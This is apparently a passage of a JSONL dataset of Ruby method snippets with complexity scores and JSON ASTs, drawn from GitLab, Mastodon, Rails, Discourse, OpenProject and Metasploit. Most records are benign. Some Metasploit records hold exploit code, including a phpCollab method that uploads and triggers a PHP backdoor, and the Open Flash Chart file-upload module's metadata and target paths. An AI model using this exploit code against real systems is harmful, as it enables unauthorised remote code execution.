end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"async_execute\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"blob_oids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"redactions\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"validate_input\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blob_oids\"]},{\"type\":\"lvar\",\"children\":[\"blob_oids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redactions\"]},{\"type\":\"lvar\",\"children\":[\"redactions\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"error?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Repositories\"]},\"RewriteHistoryWorker\"]},\"perform_async\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blob_oids\"]},{\"type\":\"lvar\",\"children\":[\"blob_oids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redactions\"]},{\"type\":\"lvar\",\"children\":[\"redactions\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\"]}]}]}","id":"c9f3da64-7e53-4b6b-98c8-2dd56d679160"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb","start_line":59,"raw_source":"def interval_collect_usage\n    print_line('Usage: interval_collect <parameters>')\n    print_line\n    print_line('Specifies an action to perform on a collector type.')\n    print_line\n    print_line(@@interval_collect_opts.usage)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"interval_collect_usage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: interval_collect <parameters>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Specifies an action to perform on a collector type.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@interval_collect_opts\"]},\"usage\"]}]}]}]}","id":"c84369dc-d664-47d5-b5c9-dfd4e2ad57ff"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/account/statuses_search.rb","start_line":25,"raw_source":"def enqueue_remove_from_public_statuses_index\n    return unless Chewy.enabled?\n\n    RemoveFromPublicStatusesIndexWorker.perform_async(id)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue_remove_from_public_statuses_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chewy\"]},\"enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RemoveFromPublicStatusesIndexWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}","id":"e48ed3a5-fee0-42e3-b00c-e2bf7d8ee661"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.rb","start_line":85,"raw_source":"def check_host(_ip)\n    version = get_version\n    return CheckCode::Unknown(\"#{peer} - Could not connect to web service, or unexpected response\") if version.nil?\n\n    if Rex::Version.new(version) <= Rex::Version.new('7.13.3') && Rex::Version.new(version) >= Rex::Version.new('7.10.0')\n      return Exploit::CheckCode::Appears(\"Exploitable Version Detected: #{version}\")\n    end\n\n    Exploit::CheckCode::Safe(\"Unexploitable Version Detected: #{version}\")\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service, or unexpected response\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"7.13.3\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"7.10.0\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exploitable Version Detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexploitable Version Detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]}]}","id":"1e131859-7f3c-46fd-8241-782150a54f59"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/smb/client.rb","start_line":1875,"raw_source":"def queryfs_fs_attribute\n    data = queryfs(CONST::SMB_QUERY_FS_ATTRIBUTE_INFO)\n    vals = data.unpack('VVVA*')\n    return {\n      'fs_attributes' => vals[0],\n      'max_file_name' => vals[1],\n      'fs_name'       => vals[3][0, vals[2]].gsub(\"\\x00\", '')\n    }\n  end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"queryfs_fs_attribute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"queryfs\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONST\"]},\"SMB_QUERY_FS_ATTRIBUTE_INFO\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vals\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"VVVA*\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fs_attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vals\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"max_file_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vals\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fs_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vals\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vals\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\u0000\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"15b01322-e347-4e41-bf34-2169696289ca"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/column_type/duration.rb","start_line":43,"raw_source":"def format(value)\n        if value.nil?\n          \"\"\n        elsif value == value.truncate\n          \"%sh\" % value.to_i\n        else\n          \"%sh\" % value\n        end\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"truncate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%sh\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%sh\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"dbdd1706-d3b4-4900-9eda-f9187a4fd1f6"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/webauthn_integration_helpers.rb","start_line":33,"raw_source":"def valid_security_key_auth_post_data\n    {\n      signature:\n        \"MEYCIQC5xyUQvF4qTPZ2yX7crp/IEs1E/4wqhXgxC1EVAumhfgIhAIC/7w4BVEy+ew6vMYISahtnnIqbqsPZosBeTUSI8Y4j\",\n      clientData:\n        \"eyJjaGFsbGVuZ2UiOiJOR1UzWW1Zek0yWTBNelkyWkdFM05EVTNZak5qWldVNFpUWTNOakJoTm1NMFlqVTVORFptTlRrd016Vm1ZMlZpTURVd01UZzJOemcxTW1RMSIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6MzAwMCIsInR5cGUiOiJ3ZWJhdXRobi5nZXQifQ==\",\n      authenticatorData: \"SZYN5YgOjGh0NBcPZHZgW4/krrmihjLHmVzzuoMdl2MBAAAA2Q==\",\n      credentialId: valid_security_key_data[:credential_id],\n    }\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_security_key_auth_post_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"signature\"]},{\"type\":\"str\",\"children\":[\"MEYCIQC5xyUQvF4qTPZ2yX7crp/IEs1E/4wqhXgxC1EVAumhfgIhAIC/7w4BVEy+ew6vMYISahtnnIqbqsPZosBeTUSI8Y4j\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clientData\"]},{\"type\":\"str\",\"children\":[\"eyJjaGFsbGVuZ2UiOiJOR1UzWW1Zek0yWTBNelkyWkdFM05EVTNZak5qWldVNFpUWTNOakJoTm1NMFlqVTVORFptTlRrd016Vm1ZMlZpTURVd01UZzJOemcxTW1RMSIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6MzAwMCIsInR5cGUiOiJ3ZWJhdXRobi5nZXQifQ==\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authenticatorData\"]},{\"type\":\"str\",\"children\":[\"SZYN5YgOjGh0NBcPZHZgW4/krrmihjLHmVzzuoMdl2MBAAAA2Q==\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credentialId\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_security_key_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"credential_id\"]}]}]}]}]}","id":"089e40a6-f70e-4c05-abb4-75c42304e270"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/phpcollab_upload_exec.rb","start_line":78,"raw_source":"def exploit\n    filename = '1.' + rand_text_alpha(8 + rand(4)) + '.php'\n    id = File.basename(filename, File.extname(filename))\n    register_file_for_cleanup(filename)\n\n    data = Rex::MIME::Message.new\n    data.add_part(payload.encoded, 'application/octet-stream', nil, \"form-data; name=\\\"upload\\\"; filename=\\\"#{filename}\\\"\")\n\n    print_status(\"Uploading backdoor file: #{filename}\")\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'clients/editclient.php'),\n      'vars_get' => {\n        'id' => id,\n        'action' => 'update'\n      },\n      'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n      'data' => data.to_s\n    })\n\n    if res && res.code == 302\n      print_good(\"Backdoor successfully created.\")\n    else\n      fail_with(Failure::Unknown, \"#{peer} - Error on uploading file\")\n    end\n\n    print_status(\"Triggering the exploit...\")\n    send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, \"logos_clients/\" + filename)\n    }, 5)\n  end","complexity_score":44.48,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"1.\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"upload\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading backdoor file: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"clients/editclient.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"update\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Backdoor successfully created.\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Error on uploading file\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Triggering the exploit...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"logos_clients/\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]},{\"type\":\"int\",\"children\":[5]}]}]}]}","id":"486d17cd-623a-439b-b25a-5bf49ec8595a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/conan/upsert_package_reference_service.rb","start_line":17,"raw_source":"def execute!\n        # We use a different validation context\n        # so that the uniqueness model validation on\n        # [reference, package_id, recipe_revision_id]\n        # is skipped.\n        package_reference.validate!(:upsert)\n\n        ServiceResponse.success(payload: { package_reference_id: upsert_package_reference[0]['id'] })\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_reference\"]},\"validate!\",{\"type\":\"sym\",\"children\":[\"upsert\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_reference_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upsert_package_reference\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}]}]}]}]}","id":"f561cb59-6881-45f3-82a0-82f906bd8390"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/channels/socket_abstraction.rb","start_line":35,"raw_source":"def syswrite(buf)\n      channel._write(buf)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"syswrite\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buf\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"_write\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}","id":"0ebbd12a-6a3d-4110-8336-3fa8abae73da"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/visits/merger.rb","start_line":46,"raw_source":"def same_location?(first_visit, second_visit)\n      distance = Geocoder::Calculations.distance_between(\n        [first_visit[:center_lat], first_visit[:center_lon]],\n        [second_visit[:center_lat], second_visit[:center_lon]],\n        units: :km\n      )\n\n      # Convert to meters and check if within threshold\n      (distance * 1000) <= SIGNIFICANT_MOVEMENT_THRESHOLD\n    end","complexity_score":9.35,"ast_json":"{\"type\":\"def\",\"children\":[\"same_location?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"first_visit\"]},{\"type\":\"arg\",\"children\":[\"second_visit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"distance\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Geocoder\"]},\"Calculations\"]},\"distance_between\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_visit\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"center_lat\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_visit\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"center_lon\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"second_visit\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"center_lat\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"second_visit\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"center_lon\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"units\"]},{\"type\":\"sym\",\"children\":[\"km\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"distance\"]},\"*\",{\"type\":\"int\",\"children\":[1000]}]}]},\"<=\",{\"type\":\"const\",\"children\":[null,\"SIGNIFICANT_MOVEMENT_THRESHOLD\"]}]}]}]}","id":"afae29ed-91ee-4004-999c-d71302b66884"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/driver.rb","start_line":737,"raw_source":"def self.space_to_eol(*args)\n          refresh_console_handle\n          old_space_to_eol(*args)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"space_to_eol\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refresh_console_handle\"]},{\"type\":\"send\",\"children\":[null,\"old_space_to_eol\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"de3aae3b-ef40-4c18-adcf-8d36fc782b1e"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/tag_helper_test.rb","start_line":78,"raw_source":"def test_tag_options_with_array_of_random_objects\n    klass = Class.new do\n      def to_s\n        \"hello\"\n      end\n    end\n\n    str = tag(:input, value: [klass.new])\n\n    assert_equal(\"<input value=\\\"hello\\\" />\", str)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_tag_options_with_array_of_random_objects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"hello\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[null,\"tag\",{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<input value=\\\"hello\\\" />\"]},{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]}","id":"465540f4-8f76-4862-b2f1-d8025a89c412"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Open Flash Chart v2 Arbitrary File Upload\",\n        'Description' => %q{\n          This module exploits a file upload vulnerability found in Open Flash\n          Chart version 2. Attackers can abuse the 'ofc_upload_image.php' file\n          in order to upload and execute malicious PHP files.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Braeden Thomas', # Initial discovery + Piwik PoC\n          'Gjoko Krstic <gjoko[at]zeroscience.mk>', # OpenEMR PoC\n          'Halim Cruzito', # zonPHP PoC\n          'bcoles' # Metasploit\n        ],\n        'References' => [\n          ['BID', '37314'],\n          ['CVE', '2009-4140'],\n          ['OSVDB', '59051'],\n          ['EDB', '10532'],\n          ['WPVDB', '6787'],\n          ['WPVDB', '6788'],\n          ['WPVDB', '6789'],\n          ['WPVDB', '6790'],\n          ['WPVDB', '6791'],\n          ['WPVDB', '6792']\n        ],\n        'Payload' => {\n          'Space' => 8190, # Just a big value, injection on HTTP POST\n          'DisableNops' => true,\n          'BadChars' => \"\\x00\"\n        },\n        'Arch' => ARCH_PHP,\n        'Platform' => 'php',\n        'Targets' => [\n          # Tested on:\n          # * open-flash-chart v2-Lug-Wyrm-Charmer\n          #   set TARGETURI /php-ofc-library/\n          # * open-flash-chart v2-beta-1\n          #   set TARGETURI /php-ofc-library/\n          # * zonPHP v2.25\n          #   set TARGETURI /zonPHPv225/ofc/\n          # * Piwik v0.4.3\n          #   set TARGETURI /piwik/libs/open-flash-chart/php-ofc-library/\n          # * OpenEMR v4.1.1\n          #   set TARGETURI /openemr-4.1.1/library/openflashchart/php-ofc-library/\n          [ 'Generic (PHP Payload)', {} ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2009-12-14',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path to Open Flash Chart', '/php-ofc-library/'])\n      ]\n    )\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Open Flash Chart v2 Arbitrary File 